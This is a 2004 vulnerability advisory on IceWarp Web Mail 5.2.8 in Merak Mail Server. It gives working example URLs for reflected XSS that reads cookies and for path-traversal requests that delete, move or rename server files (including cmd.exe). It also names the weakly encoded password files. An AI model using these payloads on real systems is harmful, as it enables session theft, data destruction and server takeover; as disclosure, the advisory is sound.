Multiple vulnerabilities in Icewarp Web Mail 5.2.8 : New face of old problems.
TITLE: Multiple vulnerabilities in Icewarp Web Mail 5.2.8 : New face of old
problems.
BACKGROUND
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server,
cutting-edge Merak Mail Server Instant Antispam and much more, is the fastest,
most stable, secure and 100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security,
functionality, scalability and multi-tiered delegated manageability over
products costing thousands of dollars more yet lacking the sophistication that
Merak delivers.
In less than 10 minutes you can have the same professional email server that
organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S.
Government, and many ISP Providers and Developers depend on every day.
Source: www.MerakMailServer.com
VULNERABLE PRODUCTS
MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3, #4
only)
DETAILS
1. Multiple cross-site scripting (XSS) vulnerabilities.
Description: Remote user, who HAS active session on Merak Mail Server, can
execute cross-site scripting (XSS) attack.
Vulnerable pages:
send.html
attachment.html
folderitem.html
Examples:
http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&writepriority=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]©folder=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&messageid=";><script>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error=<script>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title=</title><script>alert(document.cookie)</script>
http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold=";><script>alert(document.cookie)</script>
(“Outlook like” skins are not vulnerable)
2. Arbitrary direction creation on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can
create arbitrary directories on local file system of the target.
Vulnerable page: viewaction.html
Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../../../../../../../[arbitary
directory]&Move_x=1&originalfolder=blabla
Note: single logical drive on remote system is affected because relative paths
are used
3. Simple encryption of users passwords.
Description: Very simple encryption of users passwords in users.cfg,
settings.cfg (XOR), users.dat, user.dat (BASE64). If attacker got access to
this files then he could take users and administrators passwords.
Vulnerable files:
[MerakDir] \config\settings.cfg
[MerakDir] \config\ [DomainName] \users.cfg
[MerakDir] \webmail\config\users.dat
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to
it.
4. File creation with arbitrary content on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can
create text file on Merak Mail Server with arbitrary content (include special
characters). Name of file will be accounts.dat. Combining this vulnerability
with vulnerability #7 attacker could executed arbitrary PHP code.
Vulnerable page: accountsettings_add.html
Example:
http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[arbitary
text]
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to
it.
5. Arbitrary files deletion on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can
delete arbitrary files on local file system of the target. It could be used for
deleting arbitary data on an affected system or causing denial of service (DOS)
conditions.
Vulnerable pages: viewaction.html
Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//…//…//…//winnt/system32/cmd.exe&action=delete&originalfolder=blabla
Note: single logical drive on remote system is affected because relative paths
are used
6. Moving arbitrary files or directories on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can
moving arbitrary files or directories on local file system of the target. It
could be used for causing denial of service (DOS) conditions or access to
arbitrary files on affected system.
Vulnerable page: viewaction.html
Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../html/mail
Note: single logical drive on remote system is affected because relative paths
are used
7. Renaming arbitrary files or directories on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can
renaming arbitrary files or directories on local file system of the target.
Moving files or directories also possible. It could be used for causing denial
of service (DOS) conditions or access to arbitrary files on affected system.
Vulnerable page: folders.html
Example:
http://localhost:32000/mail/folders.html?id=[sessionid]&folderold=blabla/...//...//...//...//config/settings.cfg&folder=blabla/...//...//...//...//config/settings.html&Save_x=1
Note: single logical drive on remote system is affected because relative paths
are used
EXPLOITATION
IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server
(default ENABLE). User account on Merak Mail Server is needed.
WORKAROUND
Upgrade to MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 or disable
Icewarp Web Mail service (Control.exe).
VENDOR STATUS
Not contacted.
SUMMARY
An attacker who successfully exploited vulnerabilities described in this report
could take complete control of a Merak Mail Server 7.5.2 or an affected remote
system. Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 also vulnerable to
other (undescribed in this report) critical vulnerabilities. An attacker who
successfully exploited of this undescribed vulnerabilities could take complete
control of a Merak Mail Server or an affected remote system. I’m not
advice to use this product, you must disable Icewarp Web Mail service.
CREDITS
ShineShadow, undependent computer security expert.
To get more information, please contact me by e-mail.
05.11.2004
ShineShadow,
ss_contacts@xxxxxxxxxxx